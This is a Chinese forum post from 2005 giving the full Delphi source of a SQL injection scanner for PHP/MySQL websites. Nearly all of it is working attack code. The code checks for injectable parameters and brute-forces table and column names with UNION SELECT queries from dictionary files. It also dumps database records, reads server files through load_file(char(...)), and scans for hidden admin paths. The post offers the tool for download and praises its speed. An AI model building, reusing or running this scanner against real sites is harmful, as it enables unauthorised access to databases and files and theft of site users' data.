PHP+MYSQL网站注入扫描

简介：PHP+MYSQL网站注入扫描工具，针对类似夜猫文章下
载系统比较有效，界面是仿教程的hdsi中的PHP注入模块写
的，实现原理是参考angel的SQL Injection with MYSQL
写的，网上有很多，不再细说。

界面截图：http://www.wrsky.com/attachment/3_1891.jpg

源码下载：http://downloads.2ccc.com/general/internet_lan/PHPInj.rar

Author: hnxyy
QQ: 19026695
Date: 2005/5/25

FireFox技术交流论坛
http://www.wrsky.com
It is all beginnings free
It is all ruin to be privately owned

使用D7编写，界面比较难看，和教主的工具对比了一下，感觉比他的工作扫描速度要快很多

主要单元代码：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Spin, StdCtrls, ComCtrls, Buttons, ExtCtrls, IDHTTP, unit2, Unit3,
OleCtrls, SHDocVw;

type
TForm1 = class(TForm)
  Panel8: TPanel;
  Label15: TLabel;
  Label16: TLabel;
  Label17: TLabel;
  EdtInjUrl: TEdit;
  EdtKey: TEdit;
  EdtFieldNum: TEdit;
  rdbNum: TRadioButton;
  rdbChar: TRadioButton;
  Panel1: TPanel;
  pcPHPInj: TPageControl;
  TabSheet1: TTabSheet;
  sbscan1: TSpeedButton;
  sbstop1: TSpeedButton;
  sbscan2: TSpeedButton;
  sbstop2: TSpeedButton;
  Panel15: TPanel;
  GroupBox5: TGroupBox;
  lvTable: TListView;
  GroupBox6: TGroupBox;
  lvField: TListView;
  TabSheet2: TTabSheet;
  GroupBox7: TGroupBox;
  Label18: TLabel;
  Label19: TLabel;
  Label20: TLabel;
  Label21: TLabel;
  spField1: TSpinEdit;
  spField2: TSpinEdit;
  EdtField1: TEdit;
  EdtField2: TEdit;
  EdtTable: TEdit;
  EdtID: TEdit;
  GroupBox8: TGroupBox;
  Label22: TLabel;
  EdtFileName: TEdit;
  sbrecord: TSpeedButton;
  sbfile: TSpeedButton;
  MM: TMemo;
  sbscan: TSpeedButton;
  TabSheet3: TTabSheet;
  lsbDict: TListBox;
  TabSheet4: TTabSheet;
  wb: TWebBrowser;
  spNum: TSpinEdit;
  GroupBox1: TGroupBox;
  sbscan3: TSpeedButton;
  sbstop3: TSpeedButton;
  ListBox1: TListBox;
  TabSheet5: TTabSheet;
  MMAbout: TMemo;
  StatusBar1: TStatusBar;
  procedure sbscanClick(Sender: TObject);
  procedure sbstop1Click(Sender: TObject);
  procedure sbscan1Click(Sender: TObject);
  procedure sbscan2Click(Sender: TObject);
  procedure lvFieldClick(Sender: TObject);
  procedure lvTableClick(Sender: TObject);
  procedure sbrecordClick(Sender: TObject);
  procedure sbfileClick(Sender: TObject);
  procedure sbstop2Click(Sender: TObject);
  procedure sbscan3Click(Sender: TObject);
  procedure sbstop3Click(Sender: TObject);
  procedure ListBox1Click(Sender: TObject);
  procedure FormShow(Sender: TObject);
private
  { Private declarations }
  Url,KeyWord:string;
  iStr,InjUrl:string;
  //弹出信息框
  procedure MsgBox(strMsg: string);
  procedure SetUrl;
  function Get(URL,Key: string): boolean;
  procedure InjTable;
  procedure FieldThreadExit(sender: TObject);
  procedure ManagerThreadExit(sender: TObject);
public
  { Public declarations }
  pg1:TProgressBar;
end;

var
Form1: TForm1;
//scanTable :array of scanTableThread; // 定义线程数组
scanField :array of scanFieldThread;
scanManager :array of scanManagerThread;
scanTable: scanTableThread; //扫描表段线程
isFinish:boolean=false;

N:integer=0;
M:integer=0;

implementation


{$R *.dfm}

{ TForm1 }

procedure TForm1.MsgBox(strMsg: string);
begin
Application.MessageBox(pchar(strMsg), '提示信息', mb_iconinformation);
end;

procedure TForm1.SetUrl;
begin
begin
if rdbNum.Checked then
  Url := trim(EdtInjUrl.Text)
else
  Url := trim(EdtInjUrl.Text)+#39;
end;
end;

procedure TForm1.sbscanClick(Sender: TObject);
var
scan:scanThread;
begin
if (EdtInjUrl.Text='') then
begin
  MsgBox('请输入要注入的地址！');
  exit;
end;
if (EdtKey.Text='') then
begin
  MsgBox('请输入要注入的关键字！');
  exit;
end;
SetUrl;
KeyWord:=trim(EdtKey.Text);
pg1.Visible :=False;
//scan :=scanThread.Create(Url,KeyWord,MM);
scan :=scanThread.Create(False);
end;

function TForm1.Get(URL,Key: string): boolean;
var
IDHTTP: TIDHttp;
ss: String;
begin
Result:= False;
IDHTTP:= TIDHTTP.Create(nil);
try
  try
    idhttp.HandleRedirects:= true;   //必须支持重定向否则可能出错
    idhttp.ReadTimeout:= 30000;     //超过这个时间则不再访问
    ss:= IDHTTP.Get(URL);
    if Key='' then
    begin
    if IDHTTP.ResponseCode=200 then
      Result :=true;
    end else
    begin
    if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
      Result :=true;
    end;
  except
  end;
finally
  IDHTTP.Free;
end;
end;

procedure TForm1.sbstop1Click(Sender: TObject);
begin
stoped :=True;
pg1.Visible :=False;
end;

//不使用线程
procedure TForm1.InjTable;
var
i,j:integer;
begin
if (iStr='') or (KeyWord='') then exit;
lsbDict.Items.Clear;
lvTable.Items.Clear;
lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Table.txt');
j:=0;
isFinish :=False;
Screen.Cursor :=crHourGlass;
try
  for i:=0 to lsbDict.Count-1 do
  begin
    if isFinish then break;
    InjUrl:=Url+'/**/and/**/1=1/**/union/**/select/**/'+iStr+
        '/**/from/**/'+lsbDict.Items+'/*';

    MM.Lines.Add(InjUrl);
    if Get(InjUrl,KeyWord) then
    begin
    inc(j);
    with lvTable.Items.Add do
    begin
      Caption :=IntToStr(j);
      SubItems.Add(lsbDict.Items);
    end;
    end;
  end;
finally
  Screen.Cursor :=crDefault;
end;
end;

procedure TForm1.sbscan1Click(Sender: TObject);
var
i:integer;
begin
if (strtoint(EdtFieldNum.Text)<=0) or (KeyWord='') then exit;
lsbDict.Items.Clear;
lvTable.Items.Clear;
N :=0;
lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Table.txt');
isFinish :=False;
for i:=1 to strtoint(EdtFieldNum.Text) do
  iStr:=iStr+','+IntToStr(i);
iStr :=copy(iStr,2,length(iStr)-1);
//在一个线程内完成表段猜解工作
scanTable :=scanTableThread.Create(Url,iStr,KeyWord,MM,lvTable);
end;

procedure TForm1.sbscan2Click(Sender: TObject);
var
i,j,Sum:integer;
tablename:string;
begin
if lvTable.Items.Count<=0 then exit;
if lvTable.SelCount<=0 then
begin
  MsgBox('请选择一个表名！');
  exit;
end;
tablename :=trim(lvTable.Selected.SubItems.GetText);
if tablename='' then exit;

if isFinish=False then
begin
  lsbDict.Items.Clear;
  lvField.Items.Clear;
  MM.Clear;
  N :=0;
  lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Field.txt');
  Sum :=lsbDict.Count;
  iStr :='';
    pg1.Min :=0;
  pg1.Max :=sum;
  pg1.Step :=1;
  pg1.Position :=0;
  pg1.Visible :=true;
  MM.Lines.Add('开始猜解字段。。。');
  MM.Lines.Add('');
  for i:=1 to strtoint(EdtFieldNum.Text) do
  begin
    if i=strtoint(spNum.Text) then
    iStr :=iStr+',&FIELDNAME&'
    else iStr :=iStr+','+inttostr(i);
  end;
  if iStr<>'' then
    iStr :=copy(iStr,2,length(iStr)-1);

  SetLength(scanField,Sum);   // 动态设置线程的数量
  //创建多个线程完成字段猜解
  for j:=0 to Sum-1 do
  begin
    //if isFinish then exit;
    scanField[j] := scanFieldThread.Create(Url,iStr,KeyWord,tablename,j,MM,lvField);
    scanField[j].OnTerminate := FieldThreadExit;
  end;
  // sbscan2.Caption :='停止';
end;

try
  if isFinish=true then
  begin
    //if N>=lsbDict.Count then exit;
    if sbscan2.Caption='停止' then
    begin
    for j:=N to lsbDict.Count-1 do
    begin
      if scanField[j].FreeOnTerminate then
      begin
        scanField[j].Suspend;
        scanField[j].Free;
        //scanField[j].Terminate;
      end;
    end;
    end;
    MM.Lines.Add('');
    MM.Lines.Add('字段猜解结束。。。');
  // sbscan2.Caption :='猜解';
  end;
except
end;

isFinish :=true;
end;

procedure TForm1.FieldThreadExit(sender: TObject);
begin
inc(N);
pg1.StepIt;
if N = lsbDict.Count then
begin
  isFinish :=false;
  MM.Lines.Add('');
  MM.Lines.Add('字段猜解结束。。。');
  pg1.Visible :=False;
  sbscan2.Caption :='猜解';
  exit;
end;
end;

procedure TForm1.lvFieldClick(Sender: TObject);
begin
if lvField.Selected.Caption='1' then
begin
  EdtField1.Text :=lvField.Items[0].SubItems.GetText;
  spField1.Text :=lvField.Items[0].Caption;
end else
begin
  EdtField2.Text :=lvField.Selected.SubItems.GetText;
  spField2.Text :=lvField.Selected.Caption;
end;
end;

procedure TForm1.lvTableClick(Sender: TObject);
begin
EdtTable.Text :=lvTable.Selected.SubItems.GetText;
end;

procedure TForm1.sbrecordClick(Sender: TObject);
var i:integer;
begin
iStr :='';
for i:=1 to strtoint(EdtFieldNum.Text) do
begin
  if i=strtoint(spField1.Text) then
    iStr :=iStr+','+trim(EdtField1.Text)
  else if i=strtoint(spField2.Text) then
    iStr :=iStr+','+trim(EdtField2.Text)
  else iStr :=iStr+','+inttostr(i);
end;
if iStr<>'' then
  iStr :=copy(iStr,2,length(iStr)-1);

InjUrl :=Url+'/**/and/**/1=2/**/union/**/select/**/'+iStr
      +'/**/from/**/'+trim(EdtTable.Text)+'/**/where/**/'+trim(EdtID.Text)+'/*';

MM.Lines.Add(InjUrl);
if Get(InjUrl,'') then
begin
  wb.Navigate(InjUrl);
  pcPHPInj.ActivePageIndex :=3;
end;
end;

procedure TForm1.sbfileClick(Sender: TObject);
var i,j:integer;
  str,fname:string;
begin
if EdtFileName.Text='' then
begin
  MsgBox('请输入要猜解的文件名！');
  exit;
end;
fname :=trim(EdtFileName.Text);
iStr :='';
for i:=1 to length(fname) do
begin
  iStr :=iStr+','+ IntToStr(Ord(fname));
end;
if iStr<>'' then
begin
  iStr :=copy(iStr,2,length(iStr)-1);
  iStr :='load_file(char('+iStr+'))';
end;

str :='';
for j:=1 to strtoint(EdtFieldNum.Text) do
begin
  if j=strtoint(spNum.Text) then
    str :=str+','+iStr
  else str :=str+','+inttostr(j);
end;
if str<>'' then
  str :=copy(str,2,length(str)-1);

InjUrl :=Url+'/**/and/**/1=2/**/union/**/select/**/'+str+'/*';
MM.Lines.Add(InjUrl);
if Get(InjUrl,'') then
begin
  wb.Navigate(InjUrl);
  pcPHPInj.ActivePageIndex :=3;
end;
end;

procedure TForm1.sbstop2Click(Sender: TObject);
var i:integer;
begin
isFinish :=true;
{ if N>=lsbDict.Count then exit;
for i:=N to lsbDict.Count-1 do
begin
  if scanField.FreeOnTerminate then
  begin
    scanField.Suspend;
    scanField.Free;
  end;
end;
MM.Lines.Add('');
MM.Lines.Add('字段猜解结束。。。');   }
end;

procedure TForm1.sbscan3Click(Sender: TObject);
var
i,iPos,Sum:integer;
begin
if isFinish=false then
begin
  Url :=trim(EdtInjUrl.Text);
  if pos('http://',Url)>0 then
  begin
    Url :=copy(Url,8,length(Url)-7);
    iPos :=pos('/',Url)
  end else
    iPos :=pos('/',Url);
  Url :='http://'+copy(Url,1,iPos-1);
  if Url='' then exit;
 
  lsbDict.Items.Clear;
  ListBox1.Items.Clear;
  MM.Lines.Clear;
  M :=0;
  lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+'Dict_Manager.txt');
  Sum :=lsbDict.Count;
  pg1.Min :=0;
  pg1.Max :=sum;
  pg1.Step :=1;
  pg1.Position :=0;
  pg1.Visible :=true;
  MM.Lines.Add('开始猜解后台路径。。。');
  MM.Lines.Add('');
  SetLength(scanManager,Sum);   // 动态设置线程的数量
  ////开始扫描后台路径
  for i:=0 to Sum-1 do
  begin
    scanManager := scanManagerThread.Create(Url,i,ListBox1,MM);
    scanManager.OnTerminate := ManagerThreadExit;
  end;
end;

if isFinish=true then
begin
  try
    for i:=M to lsbDict.Count-1 do
    begin
    if scanManager.FreeOnTerminate then
    begin
      scanManager.Suspend;
      scanManager.Free;
    end;
    end;
    MM.Lines.Add('');
    MM.Lines.Add('后台路径猜解结束。。。');
  except
  end;
end;
isFinish :=true;
end;

procedure TForm1.ManagerThreadExit(sender: TObject);
begin
inc(M);
pg1.StepIt;
if M = lsbDict.Count then
begin
  isFinish :=true;
  MM.Lines.Add('');
  MM.Lines.Add('后台路径猜解结束。。。');
  pg1.Visible :=False;
  exit;
end;
end;

procedure TForm1.sbstop3Click(Sender: TObject);
var i:integer;
begin
isFinish :=false;
{ if M>=lsbDict.Count then exit;
try
  for i:=M to lsbDict.Count-1 do
  begin
    if scanManager.FreeOnTerminate then
    begin
    scanManager.Suspend;
    scanManager.Free;
    end;
  end;
  MM.Lines.Add('');
  MM.Lines.Add('后台路径猜解结束。。。');
except
end; }
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
wb.Navigate(ListBox1.Items.GetText);
pcPHPInj.ActivePageIndex :=3;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
pg1 :=TProgressBar.Create(nil);
pg1.Parent :=StatusBar1;
pg1.Height :=StatusBar1.Height;
pg1.Width :=StatusBar1.Width;
pg1.Visible :=False;
end;

end.


unit Unit2;

interface

uses
Classes,StdCtrls,Windows,SysUtils,ComCtrls,IdHTTP;

var
CS:TRTLCriticalSection;   //定义全局临界区

type
//扫描网站是否可以注入及当前注入点对应表字段数线程类
scanThread = class(TThread)
protected
  FUrl,InjUrl,FStr: string; //要注入的网站地址
  FKeyWord: string; //关键字
  FState: boolean;
  FMemo: TMemo;
  FListView: TListView;
  FNum: Integer;
  FTable,FValue :string;
  procedure Execute; override;
public
  //constructor Create(Url,KeyWord:string;Memo:TMemo);
end;
//扫描表段注入线程类
scanTableThread = class(scanThread)
private
  procedure scanTableResult;
protected
  procedure Execute; override;
public
  constructor Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
end;
//扫描字段注入线程类
scanFieldThread = class(scanThread)
private
  procedure scanFieldResult;
protected
  procedure Execute; override;
public
  constructor Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
end;

function Get(URL,Key: string): boolean;

var
stoped:boolean;

implementation

uses Unit1;

function Get(URL,Key: string): boolean;
var
IDHTTP: TIDHttp;
ss: String;
begin
Result:= False;
IDHTTP:= TIDHTTP.Create(nil);
try
  try
    idhttp.HandleRedirects:= true;   //必须支持重定向否则可能出错
    idhttp.ReadTimeout:= 30000;     //超过这个时间则不再访问
    ss:= IDHTTP.Get(URL);
    if Key='' then
    begin
    if IDHTTP.ResponseCode=200 then
      Result :=true;
    end else
    begin
    if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
      Result :=true;
    end;
  except
  end;
finally
  IDHTTP.Free;
end;
end;

{constructor scanThread.Create(Url,KeyWord:string;Memo:TMemo);
begin
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FreeOnTerminate := True; // 自动删除
inherited Create(False); // 直接运行
end;}

procedure scanThread.Execute;
var
i:integer;
iStr:string;
begin
FMemo :=Form1.MM;
FUrl :=trim(Form1.EdtInjUrl.Text);
FKeyWord :=trim(Form1.EdtKey.Text);
FMemo.Lines.Clear;
FMemo.Lines.Add('正在检测注入点是否可用。。。');
if (not Get(FUrl,'')) or (not Get(FUrl+'/**/and/**/1=1/*',''))
    or (not Get(FUrl+'/**/and/**/1=2/*','')) then
begin
  FMemo.Lines.Add('注入点不可用，猜解终止！');
  exit;
end;
//开始猜解字段数目
i:=1;
iStr:='1';
FState :=False;
FMemo.Lines.Add('');
FMemo.Lines.Add('开始猜解字段数目。。。');
FMemo.Lines.Add('');
while not FState do
begin
  inc(i);
  if i>30 then
  begin
    FMemo.Lines.Add('最大猜解字段数大于30,猜解终止！');
    FState :=True;
    exit;
  end;
  iStr:=iStr+','+IntToStr(i);
  InjUrl :=FUrl+'/**/and/**/1=1/**/union/**/select/**/'+iStr+'/*';
  FMemo.Lines.Add(InjUrl);
  if Get(InjUrl,FKeyWord) then
  begin
    FState :=True;
    FMemo.Lines.Add('');
    FMemo.Lines.Add('字段数目猜解结束！共找到'+IntToStr(i)+'个字段。');
    Form1.EdtFieldNum.Text :=IntToStr(i);
    Form1.spNum.MaxValue :=i;
    Form1.spNum.Text :=IntToStr(i);
    Form1.spField1.MaxValue :=i;
    Form1.spField2.MaxValue :=i;
    exit;
  end;
end;
end;

constructor scanTableThread.Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
begin
FListView :=ListView;
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FStr :=Str;
FreeOnTerminate := True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
//inherited Create(FUrl,FKeyWord,FMemo); // 直接运行
inherited Create(False);
end;

procedure scanTableThread.scanTableResult;
begin
with FListView.Items.Add do
begin
  Caption :=IntToStr(FListView.Items.Count);
  SubItems.Add(FValue);
end;
end;

//在一个线程内完成表段猜解工作
procedure scanTableThread.Execute;
var i:integer;
begin
stoped :=False;
with Form1 do
begin
  pg1.Min :=0;
  pg1.Max :=Form1.lsbDict.Count;
  pg1.Step :=1;
  pg1.Position :=0;
  pg1.Visible :=true;
end;
EnterCriticalSection(cs); //进入临界区
FMemo.Lines.Add('');
FMemo.Lines.Add('开始猜解表段。。。');
FMemo.Lines.Add('');
for i:=0 to Form1.lsbDict.Count-1 do
begin
  if stoped then
  begin
    FMemo.Lines.Add('');
  FMemo.Lines.Add('表段猜解结束。。。');
  Form1.pg1.Visible :=False;
  exit;
  end;
  FValue :=Form1.lsbDict.Items;
  if FValue='' then Continue;
  InjUrl :=FUrl+'/**/and/**/1=1/**/union/**/select/**/'+FStr+'/**/from/**/'+FValue+'/*';
  FMemo.Lines.Add(InjUrl);
  Form1.pg1.StepIt;
  if Get(InjUrl,FKeyWord) then
  begin
    Synchronize(scanTableResult); //同步
  end;
end;
FMemo.Lines.Add('');
FMemo.Lines.Add('表段猜解结束。。。');
Form1.pg1.Visible :=False;
LeaveCriticalSection(CS); //退出临界区
sleep(20); // 线程挂起;
end;

//创建多个线程完成字段猜解
constructor scanFieldThread.Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
begin
FListView :=ListView;
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FStr :=Str;
FTable :=Table;
FNum :=Num;
FreeOnTerminate := True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
//inherited Create(FUrl,FKeyWord,FMemo); // 直接运行
inherited Create(False);
end;

procedure scanFieldThread.scanFieldResult;
begin
with FListView.Items.Add do
begin
  Caption :=IntToStr(FListView.Items.Count);
  SubItems.Add(FValue);
end;
end;

procedure scanFieldThread.Execute;
var
i:integer;
TmpStr:string;
begin
FValue :=Form1.lsbDict.Items[FNum];
TmpStr :=StringReplace(FStr,'&FIELDNAME&',FValue,[rfIgnoreCase]);
InjUrl:=FUrl+'/**/and/**/1=1/**/union/**/select/**/'+TmpStr+'/**/from/**/'+FTable+'/*';
EnterCriticalSection(cs); //进入临界区
FMemo.Lines.Add(InjUrl);
if Get(InjUrl,FKeyWord) then
begin
  Synchronize(scanFieldResult); //同步
end;
LeaveCriticalSection(CS); //退出临界区
sleep(20); // 线程挂起;
end;

end.


//后台管理扫描线程类
unit Unit3;

interface

uses
Classes,StdCtrls,Windows,SysUtils,ComCtrls,wininet;

var
CS:TRTLCriticalSection;   //定义全局临界区

type
scanManagerThread = class(TThread)
private
  Tmplbx :TListBox;
  TmpMemo :TMemo;
  TmpNum :integer;
  TmpUrl :string;
  Str :string;
  procedure scanResult;
protected
  procedure Execute; override;
public
  constructor Create(Url:string; Num: integer;Lbx: TListBox;Memo:TMemo);
end;

implementation

uses Unit1;

constructor scanManagerThread.Create(Url:string; Num: integer;Lbx: TListBox;Memo:TMemo);
begin
TmpUrl :=Url;
TmpNum :=Num; // 传递参数
Tmplbx :=Lbx;
TmpMemo :=Memo;
FreeOnTerminate :=True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
inherited Create(False); // 直接运行
end;

//====================== 判断网址是否存在的函数 =======================
function CheckUrl(url: string; TimeOut: integer = 5000): boolean;
var
hSession, hfile, hRequest: hInternet;
dwindex, dwcodelen: dword;
dwcode: array[1..20] of char;
res: pchar;
re: integer;
Err1: integer;
j: integer;
begin
if pos('http://', lowercase(url)) = 0 then
  url := 'http://' + url;
Result := false;
InternetSetOption(hSession, Internet_OPTION_CONNECT_TIMEOUT, @TimeOut, 4);
hSession := InternetOpen('Mozilla/4.0', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  //设置超时
if assigned(hsession) then
begin
  j := 1;
  while true do
  begin
    hfile := InternetOpenUrl(hsession, pchar(url), nil, 0, INTERNET_FLAG_RELOAD, 0);
  if hfile = nil then
    begin
    j := j + 1;
    Err1 := GetLastError;
    if j > 5 then break;
    if (Err1 <> 12002) or (Err1 <> 12152) then break;
    sleep(2);
    end
    else begin
    break;
    end;
  end;
  dwIndex := 0;
  dwCodeLen := 10;
  HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE, @dwcode, dwcodeLen, dwIndex);
  res := pchar(@dwcode);
  re := strtointdef(res, 404);
  case re of
    400..450: result := false;
  else result := true;
  end;
  if assigned(hfile) then
    InternetCloseHandle(hfile);
    InternetCloseHandle(hsession);
  end;
end;

function GetBackSpaceCount(str:string):string;
var i,iCount:integer;
begin
  iCount :=50-length(str);
  for i:=0 to iCount-1 do
  begin
  Result :=Result+' ';
  end;
end;

procedure scanManagerThread.scanResult;
begin
Tmplbx.Items.Add(str);
Form1.GroupBox1.Caption :='检测结果：共找到'+inttostr(Tmplbx.Items.Count)+'条路径';
end;

procedure scanManagerThread.Execute;
begin
Str :=TmpUrl + Form1.lsbDict.Items[TmpNum];
EnterCriticalSection(cs);       //进入临界区
TmpMemo.Lines.Add(Str);
if CheckUrl(Str) then
begin
  Synchronize(scanResult); // 同步
end;
LeaveCriticalSection(CS);     //退出临界区
//sleep(20); // 线程挂起;
end;

end.